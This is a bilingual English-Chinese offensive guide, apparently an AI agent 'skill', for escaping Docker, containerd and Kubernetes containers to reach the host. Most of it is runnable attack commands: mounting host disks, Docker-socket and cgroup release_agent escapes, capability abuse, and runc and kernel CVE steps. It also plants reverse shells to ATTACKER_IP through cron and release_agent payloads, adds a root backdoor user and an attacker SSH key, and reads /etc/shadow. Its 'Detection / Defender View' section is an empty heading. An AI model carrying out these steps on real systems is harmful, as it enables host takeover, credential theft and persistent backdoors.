offensive-container-escape

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Container Escape and Breakout

容器逃逸与突破

You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
你已在一个容器内获得 shell。目标是突破隔离并进入底层宿主操作系统。容器隔离依赖 Linux namespaces、cgroups、seccomp profiles、AppArmor/SELinux 以及被移除的 capabilities。这些层中的每一种错误配置都可能成为逃逸向量。本 skill 将引导你系统地枚举攻击面、利用常见错误配置、滥用暴露的 runtime socket、执行基于 capability 的逃逸,以及利用针对容器 runtimes 的已知 CVE。

Quick Workflow

快速工作流

  1. Confirm you are inside a container (check for
    .dockerenv
    , cgroup entries, PID 1 process).
  2. Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
  3. Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
  4. Execute the breakout technique matching the vector.
  5. Validate host access by reading
    /etc/hostname
    , checking PID namespace, or writing to host filesystem.
  6. Pivot from host access to lateral movement across the cluster or infrastructure.

  1. 确认自己位于容器内(检查
    .dockerenv
    、cgroup 条目和 PID 1 进程)。
  2. 使用自动化工具枚举 capabilities、mounts、namespaces 和 sockets。
  3. 识别逃逸向量:特权模式、socket 暴露、危险 capability、cgroup 错误配置或存在漏洞的 runtime。
  4. 执行与该向量匹配的突破技术。
  5. 通过读取
    /etc/hostname
    、检查 PID namespace 或写入宿主文件系统来验证宿主访问。
  6. 从宿主访问转向在集群或基础设施中横向移动。

Phase 1: Container Detection and Enumeration

Phase 1:容器检测与枚举

Before attempting escape, confirm you are containerized and map the attack surface.
在尝试逃逸前,先确认自己处于容器化环境中并绘制攻击面。

Detecting Container Environment

检测容器环境

bash
undefined
bash
undefined

Check for Docker marker file

Check for Docker marker file

ls -la /.dockerenv
ls -la /.dockerenv

Check cgroup entries for container identifiers

Check cgroup entries for container identifiers

cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'

Check PID 1 process (containers typically run app process, not init)

Check PID 1 process (containers typically run app process, not init)

cat /proc/1/cmdline | tr '\0' ' '
cat /proc/1/cmdline | tr '\0' ' '

Check for container-specific environment variables

Check for container-specific environment variables

env | grep -iE 'kubernetes|docker|container|pod'
env | grep -iE 'kubernetes|docker|container|pod'

Check hostname (often a truncated container ID)

Check hostname (often a truncated container ID)

hostname
hostname

Check mount info for overlay filesystem

Check mount info for overlay filesystem

cat /proc/1/mountinfo | head -20
undefined
cat /proc/1/mountinfo | head -20
undefined

Automated Enumeration Tools

自动化枚举工具

bash
undefined
bash
undefined

deepce - Docker enumeration and escalation tool

deepce - Docker enumeration and escalation tool

Download and run (if outbound access is available)

Download and run (if outbound access is available)

curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh chmod +x deepce.sh ./deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh chmod +x deepce.sh ./deepce.sh

CDK - Zero-dependency container penetration toolkit

CDK - Zero-dependency container penetration toolkit

./cdk evaluate
./cdk evaluate

amicontained - Inspect container runtime and capabilities

amicontained - Inspect container runtime and capabilities

./amicontained
./amicontained

Manual capability check with capsh

Manual capability check with capsh

capsh --print cat /proc/1/status | grep -i cap
undefined
capsh --print cat /proc/1/status | grep -i cap
undefined

Decoding Capabilities Manually

手动解析 Capabilities

bash
undefined
bash
undefined

Read raw capability hex from /proc

Read raw capability hex from /proc

cat /proc/1/status | grep CapEff
cat /proc/1/status | grep CapEff

Example output: CapEff: 0000003fffffffff

Example output: CapEff: 0000003fffffffff

Decode with capsh

Decode with capsh

capsh --decode=0000003fffffffff
capsh --decode=0000003fffffffff

Key dangerous capabilities to look for:

Key dangerous capabilities to look for:

CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations

CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations

CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries

CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries

CAP_NET_ADMIN - network namespace manipulation, raw sockets

CAP_NET_ADMIN - network namespace manipulation, raw sockets

CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks

CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks

CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem

CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem

CAP_SYS_MODULE - load/unload kernel modules

CAP_SYS_MODULE - load/unload kernel modules

CAP_MKNOD - create device files

CAP_MKNOD - create device files

undefined
undefined

Checking Namespace Isolation

检查 Namespace 隔离

bash
undefined
bash
undefined

Compare PID namespace

Compare PID namespace

ls -la /proc/1/ns/pid ls -la /proc/self/ns/pid
ls -la /proc/1/ns/pid ls -la /proc/self/ns/pid

Check if sharing host namespaces

Check if sharing host namespaces

ls -la /proc/1/ns/ | awk '{print $NF}'
ls -la /proc/1/ns/ | awk '{print $NF}'

If namespace inodes match host, isolation is broken

If namespace inodes match host, isolation is broken

Check mount namespace for host mounts

Check mount namespace for host mounts

cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath' findmnt
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath' findmnt

Check for host network namespace

Check for host network namespace

ip addr show
ip addr show

If you see host interfaces (eth0 with host IP), hostNetwork is true

If you see host interfaces (eth0 with host IP), hostNetwork is true

cat /proc/net/tcp

---
cat /proc/net/tcp

---

Phase 2: Privileged Container Breakout

Phase 2:特权容器突破

A container run with
--privileged
drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
以
--privileged
运行的容器几乎会失去所有隔离。它拥有全部 capabilities,能够看到宿主设备,并且没有 seccomp 或 AppArmor 限制。

Mount Host Filesystem

挂载宿主文件系统

bash
undefined
bash
undefined

List available block devices

List available block devices

fdisk -l 2>/dev/null || lsblk
fdisk -l 2>/dev/null || lsblk

Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)

Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)

Mount it into the container

Mount it into the container

mkdir -p /mnt/host mount /dev/sda1 /mnt/host
mkdir -p /mnt/host mount /dev/sda1 /mnt/host

Verify host access

Verify host access

cat /mnt/host/etc/hostname cat /mnt/host/etc/shadow ls -la /mnt/host/root/
cat /mnt/host/etc/hostname cat /mnt/host/etc/shadow ls -la /mnt/host/root/

Drop an SSH key for persistent access

Drop an SSH key for persistent access

mkdir -p /mnt/host/root/.ssh echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
mkdir -p /mnt/host/root/.ssh echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

Plant a reverse shell in cron

Plant a reverse shell in cron

echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab

Add a backdoor user

Add a backdoor user

echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
undefined
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
undefined

nsenter to Host Namespaces

使用 nsenter 进入宿主 Namespaces

bash
undefined
bash
undefined

If PID 1 on the host is visible (privileged + hostPID), nsenter into it

If PID 1 on the host is visible (privileged + hostPID), nsenter into it

This gives you a shell in the host's full namespace context

This gives you a shell in the host's full namespace context

nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

Verify you escaped

Verify you escaped

hostname id cat /etc/hostname
hostname id cat /etc/hostname

Without hostPID, nsenter from mounted procfs

Without hostPID, nsenter from mounted procfs

Mount host /proc first if available

Mount host /proc first if available

nsenter -t 1 -m -u -i -n -p -- bash
undefined
nsenter -t 1 -m -u -i -n -p -- bash
undefined

Device Access Exploitation

设备访问利用

bash
undefined
bash
undefined

Privileged containers have access to all host devices

Privileged containers have access to all host devices

ls -la /dev/
ls -la /dev/

Read host memory directly

Read host memory directly

dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head

Access host disk raw

Access host disk raw

dd if=/dev/sda bs=512 count=1 | xxd | head
dd if=/dev/sda bs=512 count=1 | xxd | head

Create device nodes if CAP_MKNOD is available

Create device nodes if CAP_MKNOD is available

mknod /dev/host_disk b 8 0 mount /dev/host_disk /mnt/host

---
mknod /dev/host_disk b 8 0 mount /dev/host_disk /mnt/host

---

Phase 3: Docker Socket Abuse

Phase 3:Docker Socket 滥用

When
/var/run/docker.sock
is mounted into a container, you control the Docker daemon and can create privileged containers that mount the host filesystem.
当
/var/run/docker.sock
被挂载进容器时,你就控制了 Docker daemon,并可创建挂载宿主文件系统的特权容器。

Detecting Exposed Socket

检测暴露的 Socket

bash
undefined
bash
undefined

Check for Docker socket

Check for Docker socket

ls -la /var/run/docker.sock ls -la /run/docker.sock
ls -la /var/run/docker.sock ls -la /run/docker.sock

Check if socket is writable

Check if socket is writable

test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"

Verify Docker API via curl

Verify Docker API via curl

curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

Check without curl using socat or Python

Check without curl using socat or Python

python3 -c " import socket, json s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect('/var/run/docker.sock') s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n') print(s.recv(4096).decode()) "
undefined
python3 -c " import socket, json s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect('/var/run/docker.sock') s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n') print(s.recv(4096).decode()) "
undefined

Escape via Docker Socket

通过 Docker Socket 逃逸

bash
undefined
bash
undefined

If Docker CLI is available

If Docker CLI is available

docker -H unix:///var/run/docker.sock run -it --privileged --pid=host
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash

If only curl is available, use Docker API directly

If only curl is available, use Docker API directly

Step 1: Create a container mounting host root

Step 1: Create a container mounting host root

curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool

Capture container ID from response

Capture container ID from response

CONTAINER_ID="<id_from_response>"
CONTAINER_ID="<id_from_response>"

Step 2: Start the container

Step 2: Start the container

curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/start"

Step 3: Read output

Step 3: Read output

For interactive shell, use exec endpoint

For interactive shell, use exec endpoint

curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
undefined
curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
undefined

Containerd Socket Abuse

Containerd Socket 滥用

bash
undefined
bash
undefined

Check for containerd socket

Check for containerd socket

ls -la /run/containerd/containerd.sock
ls -la /run/containerd/containerd.sock

Use ctr if available

Use ctr if available

ctr -a /run/containerd/containerd.sock containers list ctr -a /run/containerd/containerd.sock images list
ctr -a /run/containerd/containerd.sock containers list ctr -a /run/containerd/containerd.sock images list

Spawn privileged container via containerd

Spawn privileged container via containerd

ctr -a /run/containerd/containerd.sock run
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh

---
ctr -a /run/containerd/containerd.sock run
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh

---

Phase 4: Capability-Based Escapes

Phase 4:基于 Capability 的逃逸

Individual Linux capabilities can be sufficient for escape even without full privileged mode.
即使没有完整的特权模式,单个 Linux capability 也可能足以实现逃逸。

CAP_SYS_ADMIN Escape

CAP_SYS_ADMIN 逃逸

bash
undefined
bash
undefined

CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation

CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation

Check if present

Check if present

grep CapEff /proc/1/status capsh --print | grep sys_admin
grep CapEff /proc/1/status capsh --print | grep sys_admin

Method 1: Mount host filesystem via block device

Method 1: Mount host filesystem via block device

mount /dev/sda1 /mnt
mount /dev/sda1 /mnt

Method 2: cgroup release_agent escape (see Phase 5)

Method 2: cgroup release_agent escape (see Phase 5)

Method 3: Abuse user namespace

Method 3: Abuse user namespace

unshare -Urm bash
undefined
unshare -Urm bash
undefined

CAP_SYS_PTRACE Escape

CAP_SYS_PTRACE 逃逸

bash
undefined
bash
undefined

CAP_SYS_PTRACE allows tracing processes across namespaces

CAP_SYS_PTRACE allows tracing processes across namespaces

Combined with hostPID, you can inject into host processes

Combined with hostPID, you can inject into host processes

Find a host process (requires shared PID namespace)

Find a host process (requires shared PID namespace)

ps aux | grep -v grep | head -20
ps aux | grep -v grep | head -20

Inject shellcode into a host process using ptrace

Inject shellcode into a host process using ptrace

Python ptrace injection example

Python ptrace injection example

python3 -c " import ctypes import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
python3 -c " import ctypes import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))

Target a host process PID

Target a host process PID

target_pid = 1 # systemd or init
PTRACE_ATTACH = 16 PTRACE_DETACH = 17 PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12
target_pid = 1 # systemd or init
PTRACE_ATTACH = 16 PTRACE_DETACH = 17 PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12

Attach to target

Attach to target

result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0) print(f'Attach result: {result}') "
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0) print(f'Attach result: {result}') "

Alternatively, use /proc/PID/root to access host filesystem via host PID

Alternatively, use /proc/PID/root to access host filesystem via host PID

ls -la /proc/1/root/ cat /proc/1/root/etc/shadow
undefined
ls -la /proc/1/root/ cat /proc/1/root/etc/shadow
undefined

CAP_NET_ADMIN Escape

CAP_NET_ADMIN 逃逸

bash
undefined
bash
undefined

CAP_NET_ADMIN with host network namespace enables ARP spoofing,

CAP_NET_ADMIN with host network namespace enables ARP spoofing,

traffic interception, and network-based attacks against the host

traffic interception, and network-based attacks against the host

Check for capability

Check for capability

capsh --print | grep net_admin
capsh --print | grep net_admin

Create a network tap to sniff host traffic

Create a network tap to sniff host traffic

ip link add name sniff0 type dummy tcpdump -i eth0 -w /tmp/capture.pcap &
ip link add name sniff0 type dummy tcpdump -i eth0 -w /tmp/capture.pcap &

ARP spoof the gateway to intercept traffic

ARP spoof the gateway to intercept traffic

(requires host network namespace)

(requires host network namespace)

undefined
undefined

CAP_DAC_READ_SEARCH Escape

CAP_DAC_READ_SEARCH 逃逸

bash
undefined
bash
undefined

Bypass file permission checks for reading

Bypass file permission checks for reading

Access host filesystem through /proc/1/root if hostPID is shared

Access host filesystem through /proc/1/root if hostPID is shared

Use open_by_handle_at to access files outside the container mount

Use open_by_handle_at to access files outside the container mount

This is the shocker exploit technique

This is the shocker exploit technique

Compile and run the shocker PoC:

Compile and run the shocker PoC:

cat > /tmp/shocker.c << 'CEOF' #define _GNU_SOURCE #include <stdio.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <stdlib.h>
struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; };
int main() { struct my_file_handle h; h.handle_bytes = 8; h.handle_type = 1; memset(h.f_handle, 0, sizeof(h.f_handle)); // Brute force inode handles to access host /etc/shadow int mount_fd = open("/etc/hostname", O_RDONLY); // ... (PoC continues with handle iteration) return 0; } CEOF gcc -o /tmp/shocker /tmp/shocker.c

---
cat > /tmp/shocker.c << 'CEOF' #define _GNU_SOURCE #include <stdio.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <stdlib.h>
struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; };
int main() { struct my_file_handle h; h.handle_bytes = 8; h.handle_type = 1; memset(h.f_handle, 0, sizeof(h.f_handle)); // Brute force inode handles to access host /etc/shadow int mount_fd = open("/etc/hostname", O_RDONLY); // ... (PoC continues with handle iteration) return 0; } CEOF gcc -o /tmp/shocker /tmp/shocker.c

---

Phase 5: Cgroup Escape (notify_on_release)

Phase 5:Cgroup 逃逸(notify_on_release)

The cgroup v1
notify_on_release
mechanism executes a binary on the host when the last process in a cgroup exits. This is the classic container escape for containers with CAP_SYS_ADMIN.
cgroup v1 的
notify_on_release
机制会在 cgroup 中最后一个进程退出时于宿主上执行二进制文件。对于拥有 CAP_SYS_ADMIN 的容器而言,这是经典的容器逃逸方式。

Classic Cgroup Release Agent Escape

经典 Cgroup Release Agent 逃逸

bash
undefined
bash
undefined

Requires: CAP_SYS_ADMIN and cgroup v1

Requires: CAP_SYS_ADMIN and cgroup v1

This runs a command on the HOST, not inside the container

This runs a command on the HOST, not inside the container

Step 1: Find the container's cgroup mount

Step 1: Find the container's cgroup mount

mount | grep cgroup
mount | grep cgroup

Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)

Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)

Step 2: Create a child cgroup

Step 2: Create a child cgroup

mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null ||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
CGROUP_DIR="/tmp/cgrp" ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null ||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
CGROUP_DIR="/tmp/cgrp" ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"

Step 3: Enable notify_on_release

Step 3: Enable notify_on_release

echo 1 > ${ESCAPE_DIR}/notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release

Step 4: Find container filesystem path on host

Step 4: Find container filesystem path on host

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab) echo "Host path: ${host_path}"
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab) echo "Host path: ${host_path}"

Step 5: Set the release_agent to execute our payload

Step 5: Set the release_agent to execute our payload

echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent

Step 6: Write payload that runs on the host

Step 6: Write payload that runs on the host

cat > /cmd << 'PAYLOAD' #!/bin/bash
cat > /cmd << 'PAYLOAD' #!/bin/bash

This runs on the HOST

This runs on the HOST

cat /etc/hostname > /output id >> /output ps aux >> /output
cat /etc/hostname > /output id >> /output ps aux >> /output

Reverse shell to attacker

Reverse shell to attacker

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 PAYLOAD chmod +x /cmd
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 PAYLOAD chmod +x /cmd

Step 7: Trigger the escape by putting a process in the cgroup and letting it exit

Step 7: Trigger the escape by putting a process in the cgroup and letting it exit

echo $$ > ${ESCAPE_DIR}/cgroup.procs
echo $$ > ${ESCAPE_DIR}/cgroup.procs

The shell PID joins the cgroup, then when we create and exit a subshell:

The shell PID joins the cgroup, then when we create and exit a subshell:

bash -c "echo $$ > ${ESCAPE_DIR}/cgroup.procs && exit"
bash -c "echo $$ > ${ESCAPE_DIR}/cgroup.procs && exit"

Step 8: Check output

Step 8: Check output

sleep 1 cat /output
undefined
sleep 1 cat /output
undefined

Cgroup Escape Variations

Cgroup 逃逸变体

bash
undefined
bash
undefined

Variation: Using devices cgroup subsystem

Variation: Using devices cgroup subsystem

mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent

Variation: Memory cgroup

Variation: Memory cgroup

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

Same pattern follows

Same pattern follows

Note: cgroup v2 unified hierarchy does not support release_agent

Note: cgroup v2 unified hierarchy does not support release_agent

in the same way. Check cgroup version:

in the same way. Check cgroup version:

stat -fc %T /sys/fs/cgroup/
stat -fc %T /sys/fs/cgroup/

"cgroup2fs" = v2, "tmpfs" = v1

"cgroup2fs" = v2, "tmpfs" = v1


---

---

Phase 6: Runtime CVE Exploitation

Phase 6:Runtime CVE 利用

CVE-2019-5736: runc Overwrite

CVE-2019-5736:runc 覆写

This vulnerability allows a container to overwrite the host runc binary, gaining code execution on the host whenever any container is started.
bash
undefined
该漏洞允许容器覆写宿主上的 runc 二进制文件,从而在下次启动任何容器时于宿主上实现代码执行。
bash
undefined

Check runc version

Check runc version

runc --version 2>/dev/null docker version 2>/dev/null | grep -A5 Server
runc --version 2>/dev/null docker version 2>/dev/null | grep -A5 Server

Vulnerable: runc < 1.0.0-rc6

Vulnerable: runc < 1.0.0-rc6

The attack overwrites /proc/self/exe (the runc binary) from inside the container

The attack overwrites /proc/self/exe (the runc binary) from inside the container

Step 1: Prepare the payload binary that replaces runc

Step 1: Prepare the payload binary that replaces runc

cat > /tmp/payload.sh << 'EXPLOIT' #!/bin/bash
cat > /tmp/payload.sh << 'EXPLOIT' #!/bin/bash

This replaces the host runc binary

This replaces the host runc binary

When admin next runs docker exec or docker run, our payload executes

When admin next runs docker exec or docker run, our payload executes

echo '#!/bin/bash' > /bin/bash_backup echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup chmod +x /bin/bash_backup EXPLOIT
echo '#!/bin/bash' > /bin/bash_backup echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup chmod +x /bin/bash_backup EXPLOIT

Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe

Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe

The actual exploit requires a compiled Go binary that:

The actual exploit requires a compiled Go binary that:

1. Opens /proc/self/exe for writing (which points to runc during exec)

1. Opens /proc/self/exe for writing (which points to runc during exec)

2. Writes attacker payload to it

2. Writes attacker payload to it

3. runc on host is now the attacker's binary

3. runc on host is now the attacker's binary

PoC tools: github.com/Frichetten/CVE-2019-5736-PoC

PoC tools: github.com/Frichetten/CVE-2019-5736-PoC

Compile the PoC, copy into container, and trigger via docker exec

Compile the PoC, copy into container, and trigger via docker exec

undefined
undefined

CVE-2024-21626: Leaky Vessels (runc)

CVE-2024-21626:Leaky Vessels(runc)

A file descriptor leak in runc allows containers to access the host filesystem by referencing leaked
/proc/self/fd
entries that point to the host working directory.
bash
undefined
runc 中的文件描述符泄漏允许容器通过引用指向宿主工作目录的泄漏
/proc/self/fd
条目来访问宿主文件系统。
bash
undefined

Vulnerable: runc <= 1.1.11

Vulnerable: runc <= 1.1.11

The vulnerability is in the WORKDIR processing during container build/run

The vulnerability is in the WORKDIR processing during container build/run

Check runc version

Check runc version

runc --version
runc --version

Exploitation concept:

Exploitation concept:

1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)

1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)

2. The leaked file descriptor points to the host filesystem

2. The leaked file descriptor points to the host filesystem

3. Building or running the image gives host filesystem access

3. Building or running the image gives host filesystem access

Malicious Dockerfile example (build-time exploitation):

Malicious Dockerfile example (build-time exploitation):

cat > /tmp/Dockerfile.escape << 'DOCKERFILE' FROM ubuntu:latest
cat > /tmp/Dockerfile.escape << 'DOCKERFILE' FROM ubuntu:latest

The leaked fd points to host CWD during build

The leaked fd points to host CWD during build

WORKDIR /proc/self/fd/8
WORKDIR /proc/self/fd/8

This RUN now operates on the host filesystem

This RUN now operates on the host filesystem

RUN cat /etc/shadow > /tmp/shadow_dump || true DOCKERFILE
RUN cat /etc/shadow > /tmp/shadow_dump || true DOCKERFILE

Runtime exploitation:

Runtime exploitation:

Container started with WORKDIR pointing to leaked fd

Container started with WORKDIR pointing to leaked fd

can read/write host files through the fd reference

can read/write host files through the fd reference

Detection: Check for /proc/self/fd references in WORKDIR directives

Detection: Check for /proc/self/fd references in WORKDIR directives

grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
undefined
grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
undefined

CVE-2020-15257: Containerd Host Networking

CVE-2020-15257:Containerd 宿主网络

bash
undefined
bash
undefined

Containerd < 1.4.3, < 1.3.9

Containerd < 1.4.3, < 1.3.9

Containers sharing host network namespace can access containerd-shim API

Containers sharing host network namespace can access containerd-shim API

Check if container uses host network

Check if container uses host network

cat /proc/1/ns/net | xargs readlink ip addr | grep docker0 # Seeing host interfaces indicates host network
cat /proc/1/ns/net | xargs readlink ip addr | grep docker0 # Seeing host interfaces indicates host network

Access containerd-shim abstract unix socket

Access containerd-shim abstract unix socket

from host network namespace container

from host network namespace container

curl --unix-socket /run/containerd/containerd.sock
http://localhost/v1/namespaces

---
curl --unix-socket /run/containerd/containerd.sock
http://localhost/v1/namespaces

---

Phase 7: Kernel Exploits from Container

Phase 7:从容器内部利用内核漏洞

When other escape vectors are unavailable, kernel vulnerabilities may provide a path to host access since the container shares the host kernel.
当其他逃逸向量均不可用时,由于容器与宿主共享同一个内核,内核漏洞可能为访问宿主提供路径。

Identifying Kernel Version

确定内核版本

bash
uname -a
uname -r
cat /proc/version
bash
uname -a
uname -r
cat /proc/version

Check for known vulnerable kernels

Check for known vulnerable kernels

DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)

DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)

DirtyCow: CVE-2016-5195 (kernel < 4.8.3)

DirtyCow: CVE-2016-5195 (kernel < 4.8.3)

OverlayFS: CVE-2021-3493 (Ubuntu kernels)

OverlayFS: CVE-2021-3493 (Ubuntu kernels)

nftables: CVE-2023-32233 (kernel < 6.4)

nftables: CVE-2023-32233 (kernel < 6.4)

undefined
undefined

DirtyPipe from Container (CVE-2022-0847)

从容器利用 DirtyPipe(CVE-2022-0847)

bash
undefined
bash
undefined

Overwrites read-only files via pipe page cache poisoning

Overwrites read-only files via pipe page cache poisoning

Works from inside containers because it targets the shared kernel

Works from inside containers because it targets the shared kernel

Check kernel version

Check kernel version

uname -r
uname -r

Vulnerable: 5.8 through 5.16.10

Vulnerable: 5.8 through 5.16.10

The exploit overwrites /etc/passwd on the HOST from the container

The exploit overwrites /etc/passwd on the HOST from the container

because the page cache is shared between host and container

because the page cache is shared between host and container

Compile exploit (if gcc available in container)

Compile exploit (if gcc available in container)

PoC modifies root entry in /etc/passwd to remove password

PoC modifies root entry in /etc/passwd to remove password

undefined
undefined

Checking Seccomp and AppArmor

检查 Seccomp 和 AppArmor

bash
undefined
bash
undefined

Check if seccomp is restricting syscalls

Check if seccomp is restricting syscalls

cat /proc/1/status | grep Seccomp
cat /proc/1/status | grep Seccomp

Seccomp: 0 = disabled, 1 = strict, 2 = filter

Seccomp: 0 = disabled, 1 = strict, 2 = filter

Check AppArmor profile

Check AppArmor profile

cat /proc/1/attr/current
cat /proc/1/attr/current

"unconfined" means no AppArmor restriction

"unconfined" means no AppArmor restriction

Check if kernel module loading is possible

Check if kernel module loading is possible

(no seccomp + CAP_SYS_MODULE)

(no seccomp + CAP_SYS_MODULE)

modprobe test 2>&1 insmod /tmp/evil.ko 2>&1

---
modprobe test 2>&1 insmod /tmp/evil.ko 2>&1

---

Detection / Defender View

